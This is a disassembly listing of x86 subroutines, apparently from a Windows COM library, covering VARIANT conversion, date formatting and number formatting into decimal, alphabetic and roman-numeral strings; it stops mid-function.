		cmp	[ebp+arg_C], 3E8h
		jnz	short loc_69B744A1
		jmp	short loc_69B7449D
; ---------------------------------------------------------------------------


loc_69B74485:				; CODE XREF: sub_69B743F9+A6j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_69B744A1
		mov	edx, [ebp+var_4]
		mov	dx, [edx+ebx*2]
		mov	[esi+ecx*2], dx
		mov	edx, [ebp+arg_C]
		inc	ecx
		dec	eax
		sub	[ebp+arg_0], edx


loc_69B7449D:				; CODE XREF: sub_69B743F9+7Fj
					; sub_69B743F9+8Aj
		test	eax, eax
		jg	short loc_69B74485


loc_69B744A1:				; CODE XREF: sub_69B743F9+88j
					; sub_69B743F9+8Fj
		lea	eax, [ecx+2]
		cmp	eax, [ebp+arg_8]
		jnb	short loc_69B7450B
		mov	eax, [ebp+arg_C]
		mov	edx, eax
		sub	edx, [ebp+var_8]
		cmp	[ebp+arg_0], edx
		jb	short loc_69B744D5
		mov	edx, [ebp+arg_4]
		mov	dx, [edx]
		mov	[esi+ecx*2], dx
		mov	edx, [ebp+var_4]
		mov	dx, [edx+ebx*2]
		inc	ecx
		mov	[esi+ecx*2], dx
		mov	edx, [ebp+var_8]
		sub	edx, eax
		inc	ecx
		add	[ebp+arg_0], edx


loc_69B744D5:				; CODE XREF: sub_69B743F9+BBj
		cmp	[ebp+arg_0], 0
		jbe	short loc_69B7450F
		inc	ebx
		test	bl, 1
		jz	short loc_69B744EB
		shr	eax, 1
		mov	[ebp+arg_C], eax
		jmp	loc_69B74458
; ---------------------------------------------------------------------------


loc_69B744EB:				; CODE XREF: sub_69B743F9+E6j
		push	5
		xor	edx, edx
		pop	edi
		div	edi
		push	0Ah
		xor	edx, edx
		pop	edi
		mov	[ebp+arg_C], eax
		mov	eax, [ebp+var_8]
		div	edi
		add	[ebp+arg_4], 4
		mov	[ebp+var_8], eax
		jmp	loc_69B74458
; ---------------------------------------------------------------------------


loc_69B7450B:				; CODE XREF: sub_69B743F9+76j
					; sub_69B743F9+AEj
		xor	eax, eax
		jmp	short loc_69B74521
; ---------------------------------------------------------------------------


loc_69B7450F:				; CODE XREF: sub_69B743F9+E0j
		cmp	ecx, [ebp+arg_8]


loc_69B74512:				; CODE XREF: sub_69B743F9+62j
		ja	short loc_69B7451E


loc_69B74514:				; CODE XREF: sub_69B743F9+50j
		and	word ptr [esi+ecx*2], 0
		xor	eax, eax
		inc	eax
		jmp	short loc_69B74521
; ---------------------------------------------------------------------------


loc_69B7451E:				; CODE XREF: sub_69B743F9:loc_69B74512j
		mov	eax, [ebp+var_C]


loc_69B74521:				; CODE XREF: sub_69B743F9+114j
					; sub_69B743F9+123j
		pop	edi
		pop	esi


loc_69B74523:				; CODE XREF: sub_69B743F9+12j
		pop	ebx
		leave
		retn	10h
sub_69B743F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B74528	proc near		; CODE XREF: sub_69B7491F+1C6p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		test	eax, eax
		setle	cl
		test	eax, eax
		jz	short loc_69B74544
		push	esi


loc_69B74538:				; CODE XREF: sub_69B74528+19j
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		inc	ecx
		test	eax, eax
		jnz	short loc_69B74538
		pop	esi


loc_69B74544:				; CODE XREF: sub_69B74528+Dj
		mov	eax, ecx
		retn	4
sub_69B74528	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B74549(int, double, int, int)

sub_69B74549	proc near		; DATA XREF: .text:69B142C4o

pvarg		= VARIANTARG ptr -10h
arg_4		= qword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	edi
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		fld	[ebp+arg_4]
		mov	edi, [ebp+arg_10]
		fstp	qword ptr [ebp+pvarg.anonymous_0+8]
		push	edi
		push	0
		push	0
		push	0
		push	[ebp+arg_C]
		lea	eax, [ebp+pvarg]
		push	eax
		mov	word ptr [ebp+pvarg.anonymous_0], 5
		call	sub_69B6FDE2
		mov	ebx, eax
		test	ebx, ebx
		jge	short loc_69B745BD
		push	8		; vt
		push	0		; wFlags
		call	ds:GetThreadLocale	; GetThreadLocale
		push	eax		; lcid
		lea	eax, [ebp+pvarg]
		push	eax		; pvarSrc
		push	eax		; pvargDest
		call	VariantChangeTypeEx
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B745B3
		push	dword ptr [ebp+pvarg.anonymous_0+8] ; OLECHAR *
		call	SysAllocString
		test	eax, eax
		mov	[edi], eax
		jnz	short loc_69B745B3
		mov	ebx, 8007000Eh


loc_69B745B3:				; CODE XREF: sub_69B74549+54j
					; sub_69B74549+63j
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantClear


loc_69B745BD:				; CODE XREF: sub_69B74549+38j
		pop	edi
		mov	eax, ebx
		pop	ebx
		leave
		retn	14h
sub_69B74549	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B745C5	proc near		; CODE XREF: sub_69B74E1B+5j
					; DATA XREF: .text:off_69B14200o

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		call	dword_69B92948
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	short loc_69B745E2
		mov	eax, 80004005h
		jmp	locret_69B74679
; ---------------------------------------------------------------------------


loc_69B745E2:				; CODE XREF: sub_69B745C5+11j
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		lea	ecx, [ebx+0Ch]
		call	sub_69B87FDC
		push	eax
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		call	sub_69B1A8C7
		push	[ebp+arg_8]
		mov	esi, [ebp+arg_4]
		push	esi
		push	ebx
		call	sub_69B4062A
		test	eax, eax
		mov	[ebp+arg_0], eax
		jge	short loc_69B74663
		push	edi
		push	4
		pop	ecx
		mov	edi, offset dword_69B25E54
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B7462F
		mov	eax, [ebp+arg_8]
		mov	[eax], ebx
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4]
		and	[ebp+arg_0], 0
		jmp	short loc_69B74662
; ---------------------------------------------------------------------------


loc_69B7462F:				; CODE XREF: sub_69B745C5+57j
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_69B281F0
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B74651
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_69B74680
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B74662


loc_69B74651:				; CODE XREF: sub_69B745C5+79j
		push	[ebp+arg_8]
		mov	ebx, [ebx+18h]
		push	[ebp+arg_4]
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax]
		mov	[ebp+arg_0], eax


loc_69B74662:				; CODE XREF: sub_69B745C5+68j
					; sub_69B745C5+8Aj
		pop	edi


loc_69B74663:				; CODE XREF: sub_69B745C5+48j
		lea	ecx, [ebp+var_10]
		call	sub_69B1976C
		push	[ebp+var_4]
		call	dword_69B92944
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	ebx

locret_69B74679:			; CODE XREF: sub_69B745C5+18j
		leave
		retn	0Ch
sub_69B745C5	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B74680	dd 0F5078F15h, 11D3C551h, 0B989h, 21E21FF8h
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B74690	proc near		; DATA XREF: .text:69B14214o

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		call	dword_69B92948
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B746AA
		mov	eax, 80004005h
		jmp	short loc_69B74709
; ---------------------------------------------------------------------------


loc_69B746AA:				; CODE XREF: sub_69B74690+11j
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	ebx
		lea	ecx, [ebp+var_C]
		call	sub_69B1A8C7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_69B7794D
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B746F6
		push	[ebp+arg_14]
		mov	esi, [esi+18h]
		push	[ebp+arg_10]
		mov	eax, [esi]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword ptr [eax+14h]
		mov	edi, eax


loc_69B746F6:				; CODE XREF: sub_69B74690+4Aj
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C
		push	ebx
		call	dword_69B92944
		mov	eax, edi
		pop	edi
		pop	esi


loc_69B74709:				; CODE XREF: sub_69B74690+18j
		pop	ebx
		leave
		retn	18h
sub_69B74690	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7470E	proc near		; DATA XREF: .text:69B14218o

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B74728
		mov	eax, 80004005h
		jmp	short loc_69B747A2
; ---------------------------------------------------------------------------


loc_69B74728:				; CODE XREF: sub_69B7470E+11j
		push	esi
		mov	esi, [ebp+arg_0]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	edi
		lea	ecx, [ebp+var_C]
		call	sub_69B1A8C7
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 0BAh
		jl	short loc_69B7476F
		cmp	ecx, 0C3h
		jg	short loc_69B7476F
		push	[ebp+arg_20]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ecx
		push	esi
		call	sub_69B3C310
		jmp	short loc_69B7478E
; ---------------------------------------------------------------------------


loc_69B7476F:				; CODE XREF: sub_69B7470E+39j
					; sub_69B7470E+41j
		push	[ebp+arg_20]
		mov	eax, [esi+18h]
		push	[ebp+arg_1C]
		mov	edx, [eax]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ecx
		push	eax
		call	dword ptr [edx+18h]


loc_69B7478E:				; CODE XREF: sub_69B7470E+5Fj
		lea	ecx, [ebp+var_C]
		mov	esi, eax
		call	sub_69B1976C
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B747A2:				; CODE XREF: sub_69B7470E+18j
		pop	edi
		leave
		retn	24h
sub_69B7470E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B747A7	proc near		; CODE XREF: sub_69B748BF+34p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0
		push	esi
		mov	esi, ecx
		jnz	short loc_69B747B5
		xor	eax, eax
		jmp	short loc_69B747CA
; ---------------------------------------------------------------------------


loc_69B747B5:				; CODE XREF: sub_69B747A7+8j
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_69B1A2EC
		push	eax
		mov	ecx, esi
		call	sub_69B74344


loc_69B747CA:				; CODE XREF: sub_69B747A7+Cj
		pop	esi
		retn	8
sub_69B747A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B747CE	proc near		; DATA XREF: .text:69B142ACo

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B747E8
		mov	eax, 80004005h
		jmp	short loc_69B7483B
; ---------------------------------------------------------------------------


loc_69B747E8:				; CODE XREF: sub_69B747CE+11j
		mov	ecx, [ebp+arg_0]
		push	esi
		add	ecx, 0Ch
		call	sub_69B87FDC
		push	eax
		push	edi
		lea	ecx, [ebp+var_C]
		call	sub_69B1A8C7
		mov	esi, [ebp+arg_8]
		test	esi, esi
		jnz	short loc_69B7480C
		mov	esi, 80004003h
		jmp	short loc_69B74829
; ---------------------------------------------------------------------------


loc_69B7480C:				; CODE XREF: sub_69B747CE+35j
		cmp	[ebp+arg_4], 0
		jz	short loc_69B74824
		push	[ebp+arg_4]
		call	sub_69B47D5E
		test	eax, eax
		jz	short loc_69B74824
		mov	[esi], eax
		xor	esi, esi
		jmp	short loc_69B74829
; ---------------------------------------------------------------------------


loc_69B74824:				; CODE XREF: sub_69B747CE+42j
					; sub_69B747CE+4Ej
		mov	esi, 80070057h


loc_69B74829:				; CODE XREF: sub_69B747CE+3Cj
					; sub_69B747CE+54j
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B7483B:				; CODE XREF: sub_69B747CE+18j
		pop	edi
		leave
		retn	0Ch
sub_69B747CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B74840	proc near		; DATA XREF: .text:69B142B4o

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B7485A
		mov	eax, 80004005h
		jmp	short loc_69B748BA
; ---------------------------------------------------------------------------


loc_69B7485A:				; CODE XREF: sub_69B74840+11j
		mov	ecx, [ebp+arg_0]
		push	esi
		add	ecx, 0Ch
		call	sub_69B87FDC
		push	eax
		push	edi
		lea	ecx, [ebp+var_C]
		call	sub_69B1A8C7
		mov	esi, [ebp+arg_8]
		test	esi, esi
		jnz	short loc_69B7487E
		mov	esi, 80004003h
		jmp	short loc_69B748A8
; ---------------------------------------------------------------------------


loc_69B7487E:				; CODE XREF: sub_69B74840+35j
		cmp	[ebp+arg_4], 0
		jz	short loc_69B748A3
		push	[ebp+arg_4]
		call	sub_69B47D5E
		test	eax, eax
		jz	short loc_69B748A3
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx+88h]
		inc	eax
		mov	[esi], eax
		xor	esi, esi
		jmp	short loc_69B748A8
; ---------------------------------------------------------------------------


loc_69B748A3:				; CODE XREF: sub_69B74840+42j
					; sub_69B74840+4Ej
		mov	esi, 80070057h


loc_69B748A8:				; CODE XREF: sub_69B74840+3Cj
					; sub_69B74840+61j
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B748BA:				; CODE XREF: sub_69B74840+18j
		pop	edi
		leave
		retn	0Ch
sub_69B74840	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B748BF(int, LPCWSTR lpString, int, int)

sub_69B748BF	proc near		; DATA XREF: .text:69B142B8o

arg_0		= dword	ptr  8
lpString	= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jnz	short loc_69B748D1
		mov	eax, 80004003h
		jmp	short loc_69B7491A
; ---------------------------------------------------------------------------


loc_69B748D1:				; CODE XREF: sub_69B748BF+9j
		cmp	[ebp+arg_8], 0
		push	esi
		jz	short loc_69B74914
		push	[ebp+arg_8]
		call	sub_69B47D5E
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B74914
		push	[ebp+lpString]	; lpString
		call	sub_69B1A587
		mov	ecx, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_69B747A7
		test	eax, eax
		jz	short loc_69B7490D
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx+88h]
		inc	eax
		mov	[edi], eax
		jmp	short loc_69B74910
; ---------------------------------------------------------------------------


loc_69B7490D:				; CODE XREF: sub_69B748BF+3Bj
		and	dword ptr [edi], 0


loc_69B74910:				; CODE XREF: sub_69B748BF+4Cj
		xor	eax, eax
		jmp	short loc_69B74919
; ---------------------------------------------------------------------------


loc_69B74914:				; CODE XREF: sub_69B748BF+17j
					; sub_69B748BF+25j
		mov	eax, 80070057h


loc_69B74919:				; CODE XREF: sub_69B748BF+53j
		pop	esi


loc_69B7491A:				; CODE XREF: sub_69B748BF+10j
		pop	edi
		pop	ebp
		retn	10h
sub_69B748BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7491F	proc near		; DATA XREF: .text:69B142C0o
		push	0C8h
		push	offset dword_69B74C40
		call	sub_69B19C5C
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		mov	[ebp-1Ch], eax
		call	dword_69B92948
		mov	[ebp-20h], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B74952
		mov	eax, 80004005h
		jmp	loc_69B74C2A
; ---------------------------------------------------------------------------


loc_69B74952:				; CODE XREF: sub_69B7491F+27j
		mov	ebx, [ebp+8]
		lea	ecx, [ebx+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-20h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1A8C7
		mov	[ebp-4], edi
		mov	esi, [ebp+10h]
		push	esi		; lpString
		call	ds:lstrlenW	; lstrlenW
		xor	ecx, ecx
		inc	ecx
		cmp	eax, ecx
		jle	short loc_69B74987
		cmp	word ptr [esi],	30h
		jnz	loc_69B74BCB


loc_69B74987:				; CODE XREF: sub_69B7491F+5Cj
		mov	[ebp-30h], ecx
		movzx	eax, word ptr [esi]
		cmp	eax, 30h
		jl	loc_69B74BE2
		cmp	eax, 31h
		jle	loc_69B74AAD
		cmp	eax, 41h
		jz	short loc_69B74A04
		cmp	eax, 49h
		jz	short loc_69B749BC
		cmp	eax, 61h
		jz	short loc_69B749FF
		cmp	eax, 69h
		jnz	loc_69B74BE2
		xor	ecx, ecx
		mov	[ebp-30h], ecx


loc_69B749BC:				; CODE XREF: sub_69B7491F+88j
		cmp	[ebp+0Ch], edi
		jle	short loc_69B74A0B
		cmp	[esi+2], di
		jnz	loc_69B74BCB
		push	ecx
		push	3Ch
		lea	eax, [ebp-6Ch]
		push	eax
		push	dword ptr [ebp+0Ch]
		mov	ecx, ebx
		call	sub_69B743F9
		test	eax, eax
		jz	short loc_69B74A15
		lea	eax, [ebp-6Ch]
		push	eax		; OLECHAR *
		call	SysAllocString
		mov	ecx, [ebp+14h]
		mov	[ecx], eax
		cmp	eax, edi
		jz	loc_69B74BC2
		mov	[ebp-70h], edi
		jmp	loc_69B74C0C
; ---------------------------------------------------------------------------


loc_69B749FF:				; CODE XREF: sub_69B7491F+8Dj
		xor	ecx, ecx
		mov	[ebp-30h], ecx


loc_69B74A04:				; CODE XREF: sub_69B7491F+83j
		mov	edi, [ebp+0Ch]
		test	edi, edi
		jg	short loc_69B74A21


loc_69B74A0B:				; CODE XREF: sub_69B7491F+A0j
		push	0C00CE306h
		jmp	loc_69B74BD0
; ---------------------------------------------------------------------------


loc_69B74A15:				; CODE XREF: sub_69B7491F+BFj
		mov	dword ptr [ebp-70h], 80004005h
		jmp	loc_69B74C0C
; ---------------------------------------------------------------------------


loc_69B74A21:				; CODE XREF: sub_69B7491F+EAj
		cmp	word ptr [esi+2], 0
		jnz	loc_69B74BCB
		mov	eax, edi
		cdq
		push	1Ah
		pop	esi
		idiv	esi
		mov	esi, eax
		xor	eax, eax
		test	edx, edx
		setnle	al
		add	eax, esi
		mov	[ebp-74h], eax
		cdq
		push	1Eh
		pop	esi
		mov	ebx, esi
		idiv	ebx
		mov	[ebp-74h], edx
		test	edx, edx
		jnz	short loc_69B74A54
		mov	[ebp-74h], esi


loc_69B74A54:				; CODE XREF: sub_69B7491F+130j
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFFFFE0h
		add	ecx, 61h
		lea	eax, [edi-1]
		cdq
		push	1Ah
		pop	esi
		idiv	esi
		add	ecx, edx
		mov	[ebp-78h], ecx
		xor	eax, eax


loc_69B74A6E:				; CODE XREF: sub_69B7491F+160j
		mov	[ebp-7Ch], eax
		cmp	eax, [ebp-74h]
		jge	short loc_69B74A81
		mov	[ebp+eax*2-0BCh], cx
		inc	eax
		jmp	short loc_69B74A6E
; ---------------------------------------------------------------------------


loc_69B74A81:				; CODE XREF: sub_69B7491F+155j
		and	word ptr [ebp+eax*2-0BCh], 0
		lea	eax, [ebp-0BCh]
		push	eax		; OLECHAR *
		call	SysAllocString
		mov	ecx, [ebp+14h]
		mov	[ecx], eax
		test	eax, eax
		jz	loc_69B74BC2


loc_69B74AA4:				; CODE XREF: sub_69B7491F+29Dj
		and	dword ptr [ebp-70h], 0
		jmp	loc_69B74C0C
; ---------------------------------------------------------------------------


loc_69B74AAD:				; CODE XREF: sub_69B7491F+7Aj
					; sub_69B7491F+19Cj
		mov	[ebp-0C0h], edi
		cmp	word ptr [esi+edi*2], 30h
		jnz	short loc_69B74ABD
		inc	edi
		jmp	short loc_69B74AAD
; ---------------------------------------------------------------------------


loc_69B74ABD:				; CODE XREF: sub_69B7491F+199j
		lea	eax, [esi+edi*2]
		cmp	word ptr [eax],	31h
		jnz	loc_69B74BCB
		cmp	word ptr [eax+2], 0
		jnz	loc_69B74BCB
		test	edi, edi
		jle	short loc_69B74AE0
		inc	edi
		mov	[ebp-0C0h], edi


loc_69B74AE0:				; CODE XREF: sub_69B7491F+1B8j
		push	dword ptr [ebp+0Ch]
		mov	ecx, ebx
		call	sub_69B74528
		mov	ebx, eax
		mov	[ebp-0C4h], ebx
		cmp	dword ptr [ebp+0Ch], 0
		jge	short loc_69B74AFF
		dec	ebx
		mov	[ebp-0C4h], ebx


loc_69B74AFF:				; CODE XREF: sub_69B7491F+1D7j
		cmp	ebx, edi
		mov	eax, ebx
		jg	short loc_69B74B07
		mov	eax, edi


loc_69B74B07:				; CODE XREF: sub_69B7491F+1E4j
		lea	eax, [eax+eax+4]
		push	eax
		call	sub_69B11E44
		mov	[ebp-0C8h], eax
		mov	esi, eax
		mov	[ebp-0CCh], esi
		test	eax, eax
		jz	loc_69B74BC2
		xor	ecx, ecx
		mov	[ebp-0D0h], ecx
		cmp	[ebp+0Ch], ecx
		jge	short loc_69B74B4E
		mov	word ptr [eax],	2Dh
		inc	ecx
		mov	[ebp-0D0h], ecx
		neg	dword ptr [ebp+0Ch]
		test	edi, edi
		jle	short loc_69B74B6D
		inc	edi
		mov	[ebp-0C0h], edi


loc_69B74B4E:				; CODE XREF: sub_69B7491F+213j
		test	edi, edi
		jle	short loc_69B74B6D
		sub	edi, ebx
		mov	[ebp-0C0h], edi


loc_69B74B5A:				; CODE XREF: sub_69B7491F+24Cj
		cmp	ecx, edi
		jge	short loc_69B74B6D
		mov	word ptr [esi+ecx*2], 30h
		inc	ecx
		mov	[ebp-0D0h], ecx
		jmp	short loc_69B74B5A
; ---------------------------------------------------------------------------


loc_69B74B6D:				; CODE XREF: sub_69B7491F+226j
					; sub_69B7491F+231j ...
		lea	ecx, [ecx+ebx-1]
		mov	[ebp-0D0h], ecx
		and	word ptr [esi+ecx*2+2],	0


loc_69B74B7D:				; CODE XREF: sub_69B7491F+280j
		mov	eax, [ebp+0Ch]
		cdq
		push	0Ah
		pop	edi
		idiv	edi
		mov	[ebp-0D4h], edx
		mov	[ebp+0Ch], eax
		add	edx, 30h
		mov	[esi+ecx*2], dx
		dec	ecx
		mov	[ebp-0D0h], ecx
		test	eax, eax
		jg	short loc_69B74B7D
		push	esi		; OLECHAR *
		call	SysAllocString
		mov	edi, [ebp+14h]
		mov	[edi], eax
		mov	[ebp-0D8h], esi
		push	esi
		call	sub_69B1B2B7
		cmp	dword ptr [edi], 0
		jnz	loc_69B74AA4


loc_69B74BC2:				; CODE XREF: sub_69B7491F+D2j
					; sub_69B7491F+17Fj ...
		mov	dword ptr [ebp-70h], 8007000Eh
		jmp	short loc_69B74C0C
; ---------------------------------------------------------------------------


loc_69B74BCB:				; CODE XREF: sub_69B7491F+62j
					; sub_69B7491F+A6j ...
		push	0C00CE307h


loc_69B74BD0:				; CODE XREF: sub_69B7491F+F1j
		call	sub_69B2D34C
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	dword ptr [ebp-70h], 80020009h
		jmp	short loc_69B74C10
; ---------------------------------------------------------------------------


loc_69B74BE2:				; CODE XREF: sub_69B7491F+71j
					; sub_69B7491F+92j
		mov	dword ptr [ebp-70h], 80070057h
		jmp	short loc_69B74C0C
; ---------------------------------------------------------------------------


loc_69B74BEB:				; DATA XREF: .text:69B74C44o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B74BF4:				; DATA XREF: .text:69B74C48o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-70h], eax


loc_69B74C0C:				; CODE XREF: sub_69B7491F+DBj
					; sub_69B7491F+FDj ...
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B74C10:				; CODE XREF: sub_69B7491F+2C1j
		lea	ecx, [ebp-2Ch]
		call	sub_69B1976C
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_69B74C27
		push	dword ptr [ebp-20h]
		call	dword_69B92944


loc_69B74C27:				; CODE XREF: sub_69B7491F+2FDj
		mov	eax, [ebp-70h]


loc_69B74C2A:				; CODE XREF: sub_69B7491F+2Ej
		mov	ecx, [ebp-1Ch]
		xor	ecx, [ebp+4]
		call	sub_69B1B9F6
		call	sub_69B1853C
		retn	10h
sub_69B7491F	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B74C40	dd 0FFFFFFFFh			dd offset loc_69B74BEB
		dd offset loc_69B74BF4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=58h

; int __stdcall	sub_69B74C4C(VARIANTARG	pvargDest, int,	int, int, int)

sub_69B74C4C	proc near		; CODE XREF: sub_69B74D9D+23p
					; sub_69B74DCB+23p

var_110		= qword	ptr -110h
var_A0		= word ptr -0A0h
pudateOut	= UDATE	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
pvargDest	= VARIANTARG ptr  8
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		lea	ebp, [esp-58h]
		sub	esp, 0A0h
		mov	eax, dword_69B92170
		xor	eax, [ebp+5Ch]
		push	esi
		mov	[ebp+58h+var_4], eax
		mov	eax, [ebp+58h+arg_18]
		xor	esi, esi
		cmp	eax, esi
		mov	[ebp+58h+var_8], esi
		jnz	short loc_69B74C79
		mov	eax, 80004003h
		jmp	loc_69B74D8A
; ---------------------------------------------------------------------------


loc_69B74C79:				; CODE XREF: sub_69B74C4C+21j
		mov	[eax], esi
		mov	eax, [ebp+58h+arg_10]
		cmp	eax, esi
		jz	loc_69B74D88
		cmp	[eax], si
		jz	loc_69B74D88
		mov	ax, word ptr [ebp+58h+pvargDest.anonymous_0]
		cmp	ax, 7
		push	edi
		jz	short loc_69B74CD2
		cmp	ax, 8
		jz	short loc_69B74CBC
		cmp	ax, 4008h
		jz	short loc_69B74CBC
		cmp	ax, si
		jz	short loc_69B74CBC
		push	7		; vt
		push	esi		; wFlags
		lea	eax, [ebp+58h+pvargDest]
		push	eax		; pvarSrc
		push	eax		; pvargDest
		call	VariantChangeType
		mov	[ebp+58h+var_C], eax


loc_69B74CBC:				; CODE XREF: sub_69B74C4C+52j
					; sub_69B74C4C+58j ...
		cmp	word ptr [ebp+58h+pvargDest.anonymous_0], 7
		jnz	short loc_69B74CC8
		cmp	[ebp+58h+var_C], esi
		jge	short loc_69B74CD2


loc_69B74CC8:				; CODE XREF: sub_69B74C4C+75j
		mov	edi, 80070057h
		jmp	loc_69B74D73
; ---------------------------------------------------------------------------


loc_69B74CD2:				; CODE XREF: sub_69B74C4C+4Cj
					; sub_69B74C4C+7Aj
		fld	qword ptr [ebp+58h+pvargDest.anonymous_0+8]
		lea	eax, [ebp+58h+pudateOut]
		push	eax		; pudateOut
		push	esi		; dwFlags
		push	ecx
		push	ecx		; dateIn
		fstp	[esp+0B8h+var_110]
		call	VarUdateFromDate
		mov	edi, eax
		cmp	edi, esi
		jl	loc_69B74D73
		cmp	[ebp+58h+arg_1C], esi
		push	ebx
		mov	ebx, ds:SHLWAPI_311
		jnz	short loc_69B74D01
		mov	ebx, ds:SHLWAPI_310


loc_69B74D01:				; CODE XREF: sub_69B74C4C+ADj
		push	40h
		lea	edi, [ebp+58h+var_A0]
		mov	eax, edi
		push	eax
		push	[ebp+58h+arg_10]
		lea	eax, [ebp+58h+pudateOut]
		push	eax
		push	esi
		push	[ebp+58h+arg_14]
